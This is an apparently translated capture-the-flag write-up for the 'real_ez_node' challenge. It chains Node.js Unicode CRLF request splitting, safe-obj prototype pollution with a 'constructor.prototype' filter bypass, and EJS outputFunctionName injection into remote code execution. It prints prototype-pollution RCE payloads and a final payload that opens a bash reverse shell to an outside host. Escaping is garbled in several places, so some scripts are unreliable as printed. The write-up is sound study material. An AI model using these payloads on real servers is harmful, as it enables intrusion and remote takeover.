[West Lake Sword Theory 2022]real_ez_node

Article directory

  • prerequisite knowledge
    • EJS template injection (CVE-2022-29078)
    • Prototype chain contamination vulnerability (CVE-2021-25928)
    • HTTP response splitting attack (CRLF)
  • Problem solving process
    • Code audit
    • Construct payload

Prerequisite knowledge

EJS template injection (CVE-2022-29078)

There is a rendering function in the EJS library that is very special
Data and options are merged together via the function utils.shallowCopyFromList, so in theory we can override template options with data

exports.render = function (template, d, o) {
  var data = d || {};
  var opts = o || {};

  // No options object -- if there are option names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

But continue to find that it only copies data that is in the defined pass list

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

However, an RCE vulnerability was found in the renderFile function.

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
}

In case of Express ejs it view options will copy everything into the options without any restrictions, now all we need is to find the options contained in the template body without escaping

prepended + =
    ' var __output = "";\\
' +
    ' function __append(s) { if (s !== undefined & amp; & amp; s !== null) __output + = s }\\
';
if (opts.outputFunctionName) {
    prepended + = ' var ' + opts.outputFunctionName + ' = __append;' + '\\
';
}

So if we inject code in the options, outputFunctionName it will be included in the source code.
The payload is like thisx;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

The general prototype chain pollution structure payload is as follows:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"} }
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor.load('child_process').exec('calc'); //"}}
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor.load('child_process').exec('calc');__tmp2\ "}}

Prototype chain contamination vulnerability (CVE-2021-25928)

The vulnerability POC is as follows

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

The expand function is defined as follows
This function has three parameters obj, path, thing
When we call this function, the execution process is as follows

obj={},path="__proto__.polluted",thing="Yes! Its Polluted"

When path.split('.') is executed, path is divided into two parts, and the props array is as follows

props=(2){"__proto__","polluted"}

Since length is 2, enter the else statement and after executing shift()

prop="__proto__",props="polluted"

When the expand function is called again below, it is equivalent to calling

expand(obj[__proto__],"polluted","Yes! Its Polluted")

Then recurse again, this time length is 1

props=["polluted"]

If the statement is True, execute obj[props.shift()]=thing
It is equivalent to executing obj[proto]["polluted"]="Yes! Its Polluted", causing prototype chain pollution

HTTP response splitting attack (CRLF)

In the case of version condition nodejs<=8, there is an HTTP splitting attack caused by Unicode character corruption (fixed in Node.js10). When Node.js uses http.get (key function) to issue an HTTP request to a specific path, The request made was actually directed to a different path due to an HTTP splitting attack caused by Unicode character corruption in NodeJS.

Additional explanation: CRLF refers to the carriage return character (CR, ASCII 13, \r,\r) and newline characters (LF, ASCII 10, \\
,
)

Since the nodejs HTTP library contains measures to prevent CRLF, that is, if you try to issue an HTTP request with control characters such as carriage returns, line feeds, or spaces in the URL path, they will be URL encoded, so normal CRLF injection in nodejs and cannot be used

var http = require("http")
http.get('http://47.101.57.72:4000/\r\\
/WHOAMI').output

The results are as follows, we can find that line breaks are not implemented

GET //WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

But if it contains some high numbered Unicode characters
When Node.js v8 or lower makes a GET request to this URL, it does not do encoding escapes because they are not HTTP control characters

var http = require("http")
http.get('http://47.101.57.72:4000/\\?\\?/WHOAMI').output
The result is [ 'GET //WHOAMI HTTP/1.1\r\\
Host: 47.101.57.72:4000\r\\
Connection: close\r\\
\r\\
' ]

But when the resulting string is encoded as latin1 and written to the path, \u{010D}\u{010A} will be truncated to “\r” respectively (\r) and “\\
” (
)

GET /
/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

It can be seen that by including carefully selected Unicode characters in the request path, an attacker can trick Node.js and successfully achieve CRLF injection.

For requests that do not include a body, Node.js uses “latin1” by default, which is a single-byte encoding character set that cannot represent high-numbered Unicode characters. Therefore, when our request path contains multi-byte encoding Unicode character, it will be truncated to the lowest byte, for example, \\? will be truncated to \u30:

The construction script is as follows

payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1] own http request

GET/HTTP/1.1
test:'''.replace("\\
","\r\\
")

payload = payload.replace('\r\\
', '\\?\\?') \
    .replace(' + ', '\\ī') \
    .replace(' ', '\\?') \
    .replace('"', '\\?') \
    .replace("'", '\\?') \
    .replace('[', '\\?') \
    .replace(']', '\\?') \
    .replace('`', '\\?') \
    .replace('"', '\\?') \
    .replace("'", '\\?') \
    .replace('[', '\\?') \
    .replace(']', '\\?') \

print(payload)

Problem solving process

Code audit

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//Parse, use req.body to get post parameters
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // Sign the cookie related to the session id
  save: true,
  saveUninitialized: false, // Whether to save uninitialized sessions
  cookie : {
    maxAge: 1000 * 60 * 3, // Set the validity time of the session in milliseconds
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // Set up the ejs template engine
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // Use lodash.template to create a precompiled template method for later use
// let rendered = compiled()

// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

It can be found that the ejs template engine is used, let’s check the next version
Open package.json, the version is 3.0.1, the prototype chain can pollute RCE

index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // Any 2xx status code indicates a successful response, but only 200 is checked here.
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\\
' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // Consume response data to release memory
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData + = chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData + '');
                      } catch (e) {
                        res.end(e.message + '');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error + '');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

analyze:

  1. Under the /copy route, first check whether the ip address is 127.0.0.1, then filter the __proto__ keyword (we can replace it with constructor.prototype), and then the prototype chain will appear. Tainted function safeobj.expand()
  2. There are ssrf utilization points under the /curl route

The idea is to use CRLF to send a POST request to /copy as a local (127.0.0.1) through the /curl route, and then use ejs to pollute the prototype chain to achieve code execution.

Construct payload

We first construct the prototype chain pollution payload

{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i > & amp; /dev/tcp/ f57819674z.imdo.co/54789 0> &1\"');var __tmp2"
}
}

But __proto__ is filtered, please modify it.

{
"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i > & amp; / dev/tcp/f57819674z.imdo.co/54789 0> & amp;1\"');var __tmp2"
}

Why should it be changed to constructor.prototype.outputFunctionName? You can learn about the execution process of the expand function in the pre-knowledge.

Then modify the CRLF injection script

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 191

{
"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i > & amp; / dev/tcp/f57819674z.imdo.co/54789 0> & amp;1\"');var __tmp2"
}
'''.replace("\\
","\r\\
")

payload = payload.replace('\r\\
', '\\?\\?') \
    .replace(' + ', '\\ī') \
    .replace(' ', '\\?') \
    .replace('"', '\\?') \
    .replace("'", '\\?') \
    .replace('[', '\\?') \
    .replace(']', '\\?') \
    .replace('`', '\\?') \
    .replace('"', '\\?') \
    .replace("'", '\\?') \
    .replace('[', '\\?') \
    .replace(']', '\\?') \

print(payload)

My length is 191, you can check this by yourself through bp package


However, this NSS question cannot rebound the shell.